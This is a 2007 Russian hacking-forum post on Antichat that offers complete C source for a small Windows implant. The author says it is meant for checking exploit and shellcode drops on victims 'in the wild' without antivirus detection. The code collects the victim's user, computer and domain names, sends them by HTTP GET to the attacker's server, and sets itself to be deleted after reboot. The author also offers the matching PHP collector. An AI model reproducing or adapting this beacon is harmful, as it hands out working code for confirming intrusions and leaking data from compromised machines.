ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Тестирование внедрения.
  #1  
Старый 27.05.2007, 01:25
[53x]Shadow
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме:
3372120

Репутация: 2565
По умолчанию Тестирование внедрения.

Иногда для проверки эффективности пробивки новой связки или например для тестирования очередного эксплойта, или шеллкода в боевой среде (Интернет), необходима начинка которая не палится антивирями. А так же для новичков, которые по той или иной причине не могут использовать трои, но хотят просто попробывать свои силы в использовании эксплойтов и шеллкодов, решил выложить следующий код. Может кому пригодится
Вообщем идея заключается в сборе некой статистики с компа жертвы после того как мы внедрили экзешник на машину.
Идея заключается в том, чтобы собрать некоторые данные, например имя пользователя, машины и домена. Затем отправить их нашему скрипту, в http get запросе. Тем самым подтвердить удачное внедрение нашего экзешника.
Си:
Код:
#include <windows.h>
#include <Wininet.h>
#pragma comment(lib,"wininet")

void main(void)
{
	// строка с именем скрипта гет параметрами
	TCHAR addr[100]; 
	// размер имени компьютера и пользователя
	DWORD size = 1024;
	// буфер для строки с именем
	TCHAR buf[1024];	
	// Здесь имя нашего скрипта и гет-параметр имя пользователя
	lstrcpy(addr, L"statistic.php?user=");
	if( GetUserName(buf, &size) ) 
		lstrcat(addr, buf);
	// получим имя компьютера
	lstrcat(addr, L"&comp=");
	size = 1024;
	if( GetComputerName(buf, &size) )
		lstrcat(addr, buf);
	// получим имя домена
	lstrcat(addr, L"&domain=");
	size = 1024;
	if( GetComputerNameEx(ComputerNameDnsFullyQualified, buf, &size))
		lstrcat(addr, buf);

	// инициализируем WinInet
    HINTERNET hInternet = InternetOpen(L"MyIe", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

    if (hInternet != NULL) {
        // открываем HTTP сессию, во втором параметре указываем имя сервера с нашим скриптом
        HINTERNET hConnect = InternetConnect(hInternet, L"www.xxx.ru", INTERNET_DEFAULT_HTTP_PORT,
			NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1u);

        if (hConnect != NULL) {
            // открываем запрос
			HINTERNET hRequest = HttpOpenRequest(hConnect, L"GET", addr, NULL, NULL, 0, INTERNET_FLAG_KEEP_CONNECTION, 1);

            if (hRequest != NULL) {
                // посылаем запрос
                BOOL bSend = HttpSendRequest(hRequest, NULL,0, NULL,0);
                // закрываем запрос
                ::InternetCloseHandle(hRequest);
            }
            // закрываем сессию
            ::InternetCloseHandle(hConnect);
        }
        // закрываем WinInet
        ::InternetCloseHandle(hInternet);
    }
	// самоудаление после перезагрузки, в первом параметре указываем имя создаваемого в системе экзешника
	MoveFileEx(L"a.exe",NULL,MOVEFILE_DELAY_UNTIL_REBOOT);
	exit(0);
}
За код сильно не бейте старался юзать стандартые апи функции для уменьшения конечного размера экзешника
Размер исполняемого файла после всяких извращений с настройками компиляции в 2005 студии достиг 3Кб.
Вообщем мона использовать и как небольшой пример написания програм на си для работы с HTTP.
Помимо имени юзера, компа и домена, ничего в башку сразу не пришло, может у кого-нидь есть идеи
Да и с самоуничтожением тоже долго думать в падлу было
Имхо тип браузера, внешний ип мы всегда определим в пхп скрипте куда уйдут наши данные.
Если кому интересно могу еще выложить и код скрипта на пхп.
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Microsoft начала публичное тестирование видеослужбы Soapbox ARMENIN Мировые новости 0 20.02.2007 11:51
Windows Vista Beta 2 вышла в массовое тестирование blackybr Мировые новости 22 12.06.2006 20:50
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ